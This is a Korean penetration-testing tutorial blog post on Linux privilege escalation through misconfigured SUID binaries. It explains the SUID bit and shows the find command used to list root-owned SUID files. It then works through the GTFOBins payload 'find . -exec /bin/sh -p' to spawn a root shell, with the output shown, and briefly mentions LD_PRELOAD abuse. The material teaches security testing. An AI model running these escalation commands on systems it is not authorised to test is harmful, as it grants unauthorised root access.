hhkb
모의해킹

호스트기반모의해킹_35_리눅스 SUID 권한 악용

작성자 : Heehyeon Yoo|2025-12-13
# 모의해킹# Post-Exploitation# Linux# Privilege Escalation# SUID

1. 개요

SUID(Set User ID)는 리눅스의 특수 권한 중 하나로, 파일 실행 시 실행자가 아닌 "파일 소유자(Owner)"의 권한으로 실행되게 하는 기능이다.

  • 정상 용도: 일반 사용자가 비밀번호를 변경할 때 사용하는 /usr/bin/passwd는 root 권한이 필요하므로 SUID가 설정되어 있다.
  • 악용: 만약 find, vim, bash 같은 일반 바이너리에 관리자의 실수로 SUID가 설정되어 있다면, 공격자는 이를 이용해 Root 권한으로 명령어를 실행할 수 있다.

2. SUID 개념 및 식별

2.1 권한 비트 확인

ls -l /usr/bin/passwd
# -rwsr-xr-x 1 root root ...
  • 실행 권한(x) 자리에 s가 있으면 SUID가 설정된 것이다.
  • 소유자가 root이고 s가 있다면, 누가 실행하든 Root 권한으로 실행된다.

2.2 취약한 SUID 파일 탐색

공격자는 시스템 전체에서 루트 소유이면서 SUID가 걸린 파일을 찾아야 한다.

find / -user root -perm -4000 -type f 2>/dev/null
  • -user root: 소유자가 루트인 파일.
  • -perm -4000: SUID 비트(4000)가 설정된 파일.
  • 결과 예시: /usr/bin/passwd, /usr/bin/ping(정상), /usr/bin/find(비정상 - 타겟).

3. GTFOBins를 이용한 공격(Exploitation)

**GTFOBins(https://gtfobins.github.io)**는 유닉스 바이너리를 이용해 권한 상승/우회를 할 수 있는 명령어 모음 사이트다.

3.1 타겟 분석(Find 바이너리)

find 명령어에 SUID가 설정된 것을 발견했다고 가정하자.

  1. GTFOBins 접속 -> "find" 검색 -> "SUID" 항목 클릭.
  2. 제공된 페이로드 확인:
    find . -exec /bin/sh -p \; -quit
    
    • find-exec 옵션은 찾은 파일에 대해 특정 명령어를 실행하는 기능이다.
    • SUID가 걸린 find/bin/sh를 실행하므로, 쉘 또한 Root 권한으로 실행된다.

3.2 공격 실행(실습)

# 1. SUID 확인
ls -l /usr/bin/find
# -rwsr-xr-x ... root root ...(SUID 확인됨)

# 2. Exploit 실행(Interactive Shell 획득)
/usr/bin/find . -exec /bin/sh -p \; -quit

# 3. 권한 확인
# whoami
root
  • 주의: -p 옵션은 쉘이 권한을 유지하도록(Privileged) 하는 옵션이다.(일부 최신 쉘은 SUID 실행 시 자동으로 권한을 낮추기 때문).

4. 실무 팁

  • 비정상적인 SUID: vim, bash, more, less, cp, mv 등에 SUID가 걸려 있다면 100% 관리자 실수이며 즉시 공격 가능하다.
  • LD_PRELOAD: SUID 파일 실행 시 라이브러리 프리로딩(LD_PRELOAD)을 통해 악성 라이브러리를 로드하여 루트 권한을 얻는 기법도 존재한다(Sudo 권한 설정 미흡 시에도 사용).